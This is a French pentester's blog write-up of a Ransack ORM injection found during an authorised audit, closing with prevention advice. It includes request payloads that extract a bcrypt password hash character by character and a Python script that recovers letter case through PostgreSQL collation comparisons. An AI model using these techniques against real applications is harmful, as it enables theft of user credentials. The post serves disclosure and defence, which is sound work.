Injection de requêtes Ransack : analyse et exploitation d’une vulnérabilité ORM

Les développeurs s’appuient souvent sur des bibliothèques pour gérer les communications avec les bases de données. Cela leur évite d’écrire des requêtes brutes.

Ces bibliothèques prennent généralement en charge des opérations courantes comme la recherche et le tri des données. Cette approche est généralement préférable, à condition que les bibliothèques soient maintenues à jour.

En effet, l’écriture des requêtes brutes est complexe et les erreurs peuvent facilement conduire à des vulnérabilités critiques d’injection.

Pour réduire ces risques, de nombreuses bibliothèques proposent une approche basée sur des fonctions. Les développeurs interagissent alors avec la base de données via des appels de méthodes plutôt que de requêtes manuelles. Cependant, ce mécanisme n’est pas infaillible car il peut introduire une autre catégorie de vulnérabilités : les injections ORM.

La vulnérabilité présentée dans cet article a été découverte lors d’un test d’intrusion d’une application web. Elle se concentre sur des problèmes d’injection affectant la bibliothèque Ruby Ransack.

Guide complet sur l’exploitation d’une injection Ransack

Présentation et fonctionnement de la bibliothèque Ransack

Ransack est une bibliothèque Ruby très utilisée qui compte plus de 100 millions de téléchargements sur RubyGems.

Il s’agit d’une bibliothèque de recherche orientée objet permettant donc de réaliser des recherches sur des objets. Ces recherches se basent sur la valeur de leurs attributs ou sur des conditions plus complexes. Ransack permet également de trier les résultats.

Les requêtes Ransack reposent sur des predicates. La syntaxe d’une requête de recherche simple est la suivante :

${field}_${predicate}
  • field : correspond au nom d’un attribut. Il peut s’agir d’un attribut direct de l’objet recherché ou d’un attribut lié via une association.
  • predicate : définit l’opération à appliquer. Par exemple, eq retourne les enregistrements dont le champ correspond exactement à la valeur fournie. start vérifie si un champ commence par une valeur spécifique. null retourne les enregistrements dont la valeur du champ est égale à NULL.

La liste complète des predicates est disponible dans la documentation officielle de Ransack.

Considérons la table Post définie ci-dessous :

create_table "posts", force: :cascade do |t|
  t.text "body"
  t.datetime "created_at", null: false
  t.string "title"
  t.datetime "updated_at", null: false
  t.bigint "user_id", null: false
  t.index ["user_id"], name: "index_posts_on_user_id"
end

Cinq champs sont créés pour Post : title, body, created_at, updated_at et user_id.

Le champ user_id fait référence à l’utilisateur propriétaire du post.

La classe Post est définie comme suit :

class Post < ActiveRecord::Base  
  belongs_to :user  
end

Par exemple, nous souhaitons retourner tous les posts dont le champ body contient la valeur « Vaadata ». Pour cela, nous pouvons appeler Ransack sur le modèle avec la requête suivante :

@q = Post.ransack(body_cont: 'Vaadata')

body correspond au nom du champ et _cont est le predicate utilisé.

Cette requête retourne tous les enregistrements dont le champ body contient la valeur « Vaadata ». Le predicate cont permet de rechercher une valeur incluse dans un champ donné.

L’équivalent SQL de cette requête peut être obtenu en appelant la fonction to_sql.

Post.ransack(body_cont: 'Vaadata').result.to_sql

Cette instruction retourne le résultat suivant :

SELECT "posts".* FROM "posts"  
WHERE ("posts"."body" ILIKE '%Vaadata%')

Le predicate cont est traduit en SQL par l’opérateur ILIKE. La valeur recherchée est entourée de caractères %. Cela permet de faire correspondre n’importe quels caractères avant ou après la valeur. Dans cet exemple, la base de données utilisée est PostgreSQL.

Ransack permet également d’utiliser les opérateurs OR et AND. La syntaxe est la suivante :

${field1}_${combinator}_${field2}_${predicate}

Par exemple, si nous voulons rechercher les articles contenant la valeur « Vaadata » dans le champ title ou dans le champ body, nous pouvons utiliser title_or_body_cont.

@q = Post.ransack(title_or_body_cont: 'Vaadata')

L’opérateur OR est utilisé entre title et body. La requête SQL générée est la suivante :

SELECT "posts".* FROM "posts"  
WHERE ("posts"."title" ILIKE '%Vaadata%'  
OR "posts"."body" ILIKE '%Vaadata%')

Après cette brève présentation de Ransack et de sa syntaxe, nous allons maintenant détailler la vulnérabilité d’injection Ransack.

Analyse et exploitation d’une injection de requêtes Ransack

Nous avons réalisé un audit de sécurité d’une application web. Cette dernière disposait d’une fonctionnalité de gestion des utilisateurs ; et permettait notamment aux managers de rechercher des utilisateurs et de les filtrer par id ou email.

Nous avions accès au code source, ce qui a permis de gagner un peu de temps lors de l’exploitation. Cependant, cette vulnérabilité pouvait également être exploitée en approche boite noire.

En manipulant le formulaire de recherche des utilisateurs, nous avons remarqué des paramètres de requête inhabituels.

GET /users?q[id_eq]=&q[email_cont]=vaadata HTTP/1.1
Host: [REDACTED]

Les paramètres contenaient les valeurs _eq et _cont après les noms de champs id et email, ce qui est peu courant.

Au premier abord, nous n’avons pas reconnu cette syntaxe. Et après un rapide examen du code source, le terme ransack est apparu.

# from the source code of the application
User.all.ransack params[:q]

Il est alors apparu que des paramètres contrôlés par l’utilisateur étaient passés directement à la fonction ransack via params[:q]. Autrement dit, l’utilisateur avait un contrôle total sur ce qui était transmis à la fonction ransack.

Une question s’est alors posée : cette situation est-elle exploitable ?

Nous ne connaissions pas Ransack ni son fonctionnement. Mais après quelques recherches, nous avons appris qu’il s’agissait d’une bibliothèque Ruby utilisée principalement pour rechercher et trier des objets.

Après avoir consulté la documentation et compris son fonctionnement, une idée d’exploitation simple est apparue.

Est-il possible d’interroger des attributs plus sensibles, comme le champ password ?

Après quelques tests, cela semblait possible. Aucun mécanisme ne semblait bloquer l’accès au champ password des utilisateurs.

Exfiltration du champ password avec le predicate _start

Pour exfiltrer ce champ, nous avons utilisé le predicate _start. En utilisant une approche par essais successifs, les données pouvaient être reconstruites progressivement, caractère par caractère.

L’utilisateur ciblé lors de l’exploitation était [email protected].

Il est important de noter que deux états distincts doivent être observables pour utiliser cette approche. Dans notre cas, lorsqu’un caractère incorrect était envoyé, le serveur retournait une réponse vide. En revanche, un caractère correct entraînait le retour des informations complètes de l’utilisateur [email protected].

Cela permettait donc d’utiliser une attaque brute force basée sur des essais successifs.

Le payload utilisé est présentée ci-dessous :

q[email_eq][email protected]&q[password_start]={testing_value}

Brute force du hash bcrypt

Le mot de passe étant stocké sous forme de hash bcrypt, le premier caractère était naturellement le symbole $.

Un script simple a permis d’automatiser l’attaque brute force.

q[email_eq][email protected]&q[password_start]=$
q[email_eq][email protected]&q[password_start]=$2
q[email_eq][email protected]&q[password_start]=$2a
q[email_eq][email protected]&q[password_start]=$2a$
q[email_eq][email protected]&q[password_start]=$2a$1
...
q[email_eq][email protected]&q[password_start]=$2a$1[...HASH IN LOWERCASE...]o

Néanmoins, nous avons remarqué un comportement étrange. En effet, tous les caractères extraits du hash bcrypt étaient en minuscules.

Après avoir répété l’attaque, nous avons compris que l’utilisation du predicate _start ne permettait d’extraire que des caractères en minuscules, ce qui n’était pas le résultat attendu.

En effet, il est important de disposer du hash bcrypt exact pour pouvoir le casser efficacement. Un hash incorrect rend cette opération beaucoup plus difficile.

Nous avons d’abord cherché d’autres predicates permettant de récupérer le hash exact, en respectant la casse. Aucun predicate ne semblait fonctionner de manière sensible à la casse, à l’exception de _eq.

D’après notre compréhension, le problème provient du fait que Ransack utilise l’opérateur ILIKE dans les requêtes SQL. Cet opérateur effectue des comparaisons insensibles à la casse.

Nous avons ensuite tenté d’utiliser le predicate _eq, puisqu’il semblait être le seul à effectuer une comparaison sensible à la casse.

Le premier problème rencontré est que ce predicate ne permet pas de récupérer les caractères un par un. Il retourne un résultat uniquement lorsque la valeur complète correspond exactement.

Limites du brute force avec le predicate _eq

Il est théoriquement possible d’utiliser une liste de valeurs pour lancer une attaque brute force et retrouver le hash exact. Il faudrait générer une liste de hashs potentiels, en considérant chaque caractère en minuscule puis en majuscule.

Nous avons rapidement constaté que cette approche n’était pas réalisable dans un délai raisonnable.

  • Le hash bcrypt fait 60 caractères.
  • Les 7 premiers caractères sont toujours $2a$10$.
  • Les caractères restants appartiennent à l’alphabet base64 ([a-zA-Z0-9/.-]).

Dans le pire des cas, si tous les caractères restants sont alphabétiques, cela représente 2^(60-7) = 9007199254740992 possibilités. Un tel nombre ne peut pas être bruteforcé dans un délai raisonnable.

Trouver un hash contenant moins de caractères alphabétiques réduirait le nombre de possibilités. Cependant, en moyenne, ce nombre reste très élevé. Cette piste a donc été abandonnée, car elle ne permettait pas de résoudre le problème.

Autres tentatives et conclusion de l’exploitation

Il convient de noter qu’il existe un predicate intéressant nommé _eq_any. Il permet de tester plusieurs valeurs à la fois. Néanmoins, le nombre de possibilités reste trop important. Cette idée a donc également été abandonnée.

Une autre approche a été rapidement testée. Elle consistait à récupérer les caractères exacts à l’aide de predicates de comparaison, comme _lt (less than) et _gt (greater than).

Cette tentative n’a pas abouti. Nous n’avons pas réussi à déterminer si la comparaison était sensible à la casse. Par manque de temps, la vulnérabilité a été reportée en l’état.

Le fait de pouvoir exfiltrer des hashs de mots de passe utilisateurs, même en minuscules, ne doit pas être possible et nécessite une correction.

Il est important de noter qu’aucun champ reset password token n’était présent dans la base de données. Les utilisateurs ne pouvaient donc pas réinitialiser leur mot de passe sans être authentifiés.

Le vol d’un reset password token aurait permis une compromission de compte. Cela aurait probablement été plus simple à exploiter, car ce type de token est généralement plus court. Malheureusement, dans notre cas, seul le champ password était présent.

Ransack permet également d’interroger les champs des associations. La syntaxe d’une requête est la suivante :

{association_name}_{association_name}_..._{field}_{predicate}

Par exemple, dans notre exemple initial, la classe Post possède une relation many-to-one avec la classe User.

Il est donc possible de retourner les posts dont l’email de l’utilisateur contient la valeur « vaadata » avec le paramètre suivant :

q[user_email_cont]=vaadata
  • user correspond au nom de l’association.
  • email est le nom du champ.
  • cont est le predicate utilisé.

Lors de l’audit de cette application, nous pouvions interagir directement avec le modèle User. Il n’était donc pas nécessaire d’explorer les associations. Dans le cas contraire, il aurait suffi d’identifier une chaîne d’associations reliant le modèle interrogé au modèle User.

Objectif et contexte des tests complémentaires

Après l’audit de sécurité, nous avons approfondi nos tests sur Ransack. L’objectif était de trouver une solution pour contourner la limitation liée à la sensibilité à la casse.

Nous avons mis en place une application Ruby simple. Elle utilisait les classes Posts et Users, comme dans l’exemple initial de l’article.

Nous avons configuré une base de données PostgreSQL comme celle utilisée par l’application auditée.

La question était la suivante : les predicates _lt et _gt peuvent-ils être utilisés pour retrouver la casse exacte des caractères ?

Comprendre le comportement des comparaisons PostgreSQL

Lors de l’audit, nous ne savions pas si la comparaison était sensible à la casse. Après quelques tests initiaux, il semblait que ni l’ordre naturel ni l’ordre des octets n’étaient utilisés.

Une question s’est alors posée : comment PostgreSQL trie-t-il les chaînes de caractères ?

L’ordre de tri est généralement défini par la collation. Et pour connaître la collation utilisée par la base PostgreSQL, nous pouvons exécuter la requête suivante :

select datname, datcollate from pg_database;
     datname      | datcollate
------------------+------------
 postgres         | en_US.utf8
 blog_development | en_US.utf8

Notre base de données s’appelle blog_development. Nous constatons que la collation utilisée est en_US.utf8. C’est la même collation que celle de la base de données de l’application auditée.

La question suivante est donc : comment la collation en_US.utf8 trie-t-elle les chaînes de caractères ?

Après avoir consulté la documentation PostgreSQL et effectué quelques recherches, il apparaît que cette collation dépend du système. Elle n’est pas propre à PostgreSQL.

Notre base PostgreSQL est hébergée dans un conteneur Docker Debian GNU/Linux 13 (trixie).

Analyse pratique de l’ordre de tri des caractères

Pour comprendre l’ordre de tri des chaînes sur cette instance, nous pouvons utiliser la commande sort. Cette dernière trie les caractères en fonction de la valeur de LC_COLLATE, qui est en_US.utf8 dans notre cas.

awk 'BEGIN {for(i=33;i<127;i++) printf "%c\n",i; print}' | sort | tr -d '\n'
!"#%&'()*+,-./:;<=>?@[\]^_`{|}~$0123456789aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ

Ce tri ne suit donc pas l’ordre des octets. Nous observons que les chiffres sont triés avant les caractères alphabétiques et que chaque caractère en majuscule est supérieur à son équivalent en minuscule.

a < A
b < B
c < C
...
z < Z

Nous notons également que, selon nos tests, la chaîne vide («  ») est la plus petite chaîne possible.

Que pouvons-nous faire de ces informations ?

Après réflexion, nous sommes arrivés à la conclusion suivante : une chaîne est toujours supérieure ou égale à sa version entièrement en minuscules, selon ces règles de tri.

Prenons un exemple. Supposons que nous ayons extrait la chaîne abnxd en minuscules mais que la valeur réelle est abNxD.

# run this on postgres

select 'abNxD' >= 'abnxd'
# it yields TRUE

D’après nos tests, même si nous n’avons pas trouvé de confirmation explicite dans la documentation, le comportement semble être le suivant :

  • Les chaînes sont d’abord comparées de manière insensible à la casse. Si aucun résultat ne peut être déterminé à ce stade, la comparaison passe à l’étape suivante.
  • La comparaison continue caractère par caractère. Tant que les caractères aux positions identiques sont équivalents, on avance. Lorsqu’une différence est rencontrée, l’ordre de tri précédemment identifié est utilisé.

Dans notre exemple, les deux premiers caractères sont identiques. Le troisième caractère diffère : ‘N‘ est comparé à ‘n‘. Comme ‘N‘ est supérieur à ‘n‘, la chaîne ‘abNxD‘ est considérée comme supérieure à ‘abnxd‘.

Exploitation de la comparaison pour retrouver la casse

Cette propriété peut être exploitée. Elle permet de tester les caractères un par un et de déterminer s’ils sont en majuscule ou en minuscule.

Après plusieurs tests, nous avons résumé les résultats dans le tableau ci-dessous. La première colonne correspond à la position du caractère testé.

PosComparaisonResultatDescription
1abNxD >= AbnxdFALSE‘a’ n’est pas supérieur à ‘A’
2abNxD >= aBnxdFALSE‘b’ n’est pas supérieur à ‘B’
3abNxD >= abNxdTRUELes caractères sont égaux jusqu’à ‘D’ et ‘d’. ‘D’ est supérieur à ‘d’, donc la valeur réelle de ‘d’ est en majuscule
4abNxD >= abNXdFALSE‘x’ n’est pas supérieur à ‘X’
5abNxD >= abNxDTRUELes chaînes sont identiques. La valeur réelle de ‘d’ est en majuscule

Nous observons que :

  • lorsque le résultat est FALSE, le caractère réel est en minuscule ;
  • lorsque le résultat est TRUE, le caractère réel est en majuscule.

En résumé, si nous connaissons déjà la valeur en minuscules d’une chaîne, nous pouvons retrouver la casse exacte des caractères. Il suffit de comparer chaque caractère avec sa version en majuscule en utilisant un opérateur de comparaison.

Si le résultat est FALSE, le caractère est en minuscule. Sinon, il est en majuscule.

Validation du contournement via Ransack

Pour confirmer cela via Ransack, nous avons inséré la chaîne suivante dans le champ body d’un post :

ThIs_IS_A_R4nd0m_$tring_t0_t35T

Nous l’avons ensuite extraite avec le predicate _start. Comme indiqué précédemment, ce predicate ne permet d’extraire que la version en minuscules :

[*] found value = this_is_a_r4nd0m_$tring_t0_t35t

Nous avons ensuite utilisé le predicate _gteq pour retrouver la casse exacte.

Puis, nous avons utilisé le script Python suivant pour tester la casse des caractères et reconstruire la chaîne réelle :

import requests as req
import string

URI = "http://localhost:3000/posts"
VAL = "this_is_a_r4nd0m_$tring_t0_t35t"

# will correct the case-sensitivity of real_val progressively
real_val = VAL

L = len(VAL)
for i in range(L):
  c = VAL[i]
  # consider only alphabetical characters
  if not c.isalpha():
      continue
  testing_val = real_val[:i] + c.upper() + real_val[i+1:]
  resp = req.get(
    URI,
    params={
      "q[body_gteq]": testing_val,
    },
  )
  if "\"id\":1" in resp.text:
    real_val = test
    print(f"[*] found value = {real_val}\n")

print(f"[+] finished! recovered value is {real_val}")

Et obtenu les résultats suivants :

[*] found value = This_is_a_r4nd0m_$tring_t0_t35t
[*] found value = ThIs_is_a_r4nd0m_$tring_t0_t35t
[*] found value = ThIs_Is_a_r4nd0m_$tring_t0_t35t
[*] found value = ThIs_IS_a_r4nd0m_$tring_t0_t35t
[*] found value = ThIs_IS_A_r4nd0m_$tring_t0_t35t
[*] found value = ThIs_IS_A_R4nd0m_$tring_t0_t35t
[*] found value = ThIs_IS_A_R4nd0m_$tring_t0_t35T
[+] finished! recovered value is ThIs_IS_A_R4nd0m_$tring_t0_t35T

Nous avons ainsi pu récupérer la valeur exacte.

Limites de l’exploitation et applicabilité en audit

Comme mentionné précédemment, cette approche n’est possible que parce que nous connaissions la collation utilisée par la base de données.

Dans ce cas précis, la collation dépendait du système. Le fait de connaître le système sur lequel la base de données s’exécute nous a permis de retrouver l’ordre de tri des caractères.

Dans le cadre de l’audit de sécurité, il aurait peut-être été possible d’extraire la valeur exacte du hash de mot de passe avec cette approche. Cependant, l’audit étant terminé, nous n’avons pas pu tester cette méthode pour le confirmer.

Comment prévenir les vulnérabilités d’injection Ransack ?

Avant la version 4.0.0, tous les attributs et associations étaient recherchables par défaut dans Ransack. À partir de la version 4.0.0, Ransack a introduit des changements majeurs via un correctif de sécurité. Ce dernier oblige les utilisateurs à définir explicitement les attributs et associations autorisés à la recherche.

Cette configuration s’effectue à l’aide des méthodes ransackable_attributes et/ou ransackable_associations, comme expliqué dans la documentation officielle.

Lors de la construction de notre exemple initial avec Posts et Users, nous avons utilisé la dernière version de la bibliothèque. Aucun ransackable_attributes n’avait été défini.

Les tests ont donc échoué et l’erreur suivante a été levée systématiquement :

RuntimeError (Ransack needs Post attributes explicitly allowlisted as searchable. Define a ransackable_attributes class method in your Post model, watching out for items you DON'T want searchable (for example, encrypted_password, password_reset_token, owner or other sensitive information). ...

Cette erreur est explicite. Elle met clairement en garde contre l’exposition d’attributs sensibles. Et, il est important de ne pas ignorer ce type d’avertissement de sécurité.

Pour comprendre pourquoi cette vulnérabilité était exploitable dans l’application auditée, nous avons commencé par vérifier la version de Ransack utilisée. À notre surprise, il s’agissait bien de la dernière version. Le correctif de sécurité était donc présent.

Une question restait alors ouverte : pourquoi pouvions-nous interroger l’attribut password ?

Pour que cela soit possible, ce champ devait nécessairement être inclus dans ransackable_attributes du modèle. Sans cela, les requêtes auraient échoué.

Mauvaise implémentation du correctif dans l’application

Après analyse du code source, la cause du problème est apparue. En effet, les développeurs étaient habitués à l’ancienne version de Ransack. Ainsi, lors de la mise à jour, les changements ont cassé le fonctionnement de l’application.

Pour corriger rapidement ces régressions, ils ont surchargé la méthode ransackable_attributes sur presque tous les modèles et y ont inclus l’ensemble des attributs des classes.

Ce correctif applicatif annule complètement le mécanisme de sécurité introduit par Ransack car il va à l’encontre de l’objectif initial du correctif.

La vulnérabilité découverte illustre précisément pourquoi cette mesure de sécurité est essentielle et ne doit pas être ignorée.

Transmission directe des paramètres utilisateur à Ransack

Une autre mauvaise pratique était également présente dans le code source. En effet, le paramètre contrôlé par l’utilisateur params[:q] était transmis tel quel à la fonction ransack.

Ce type de pratique peut conduire à d’autres vulnérabilités comme des problèmes de mass assignment.

Cette mauvaise pratique est d’ailleurs observable jusque dans certains exemples de la documentation Ransack.

La bonne pratique consiste à définir explicitement les paramètres autorisés dans le code.

Dans le cadre de notre audit, l’application devait uniquement permettre la recherche des utilisateurs par id ou email. Il est donc recommandé de restreindre strictement les paramètres acceptés.

q_params = {}

# consider only the "id_cont" and "email_cont" if present
q_params[:id_cont]    = params.dig(:q, :id_cont) if params.dig(:q, :id_cont).present?
q_params[:email_cont] = params.dig(:q, :email_cont) if params.dig(:q, :email_cont).present?

# pass only "id_cont" or "email_cont" to the ransack function
User.ransack(q_params)

Si cette pratique avait été appliquée, l’application aurait été protégée contre cette vulnérabilité. Cela aurait été le cas même sans le correctif de sécurité supplémentaire fourni par la bibliothèque.

En résumé, pour atténuer cette vulnérabilité, ne prenez en considération que les noms de paramètres nécessaires, dans la mesure du possible. Conformément aux modifications imposées par Ransack, définissez également une liste blanche des attributs et associations pouvant faire l’objet d’une recherche via ransackable_attributes et/ou ransackable_associations.

Auteur : Souad SEBAA – Pentester @Vaadata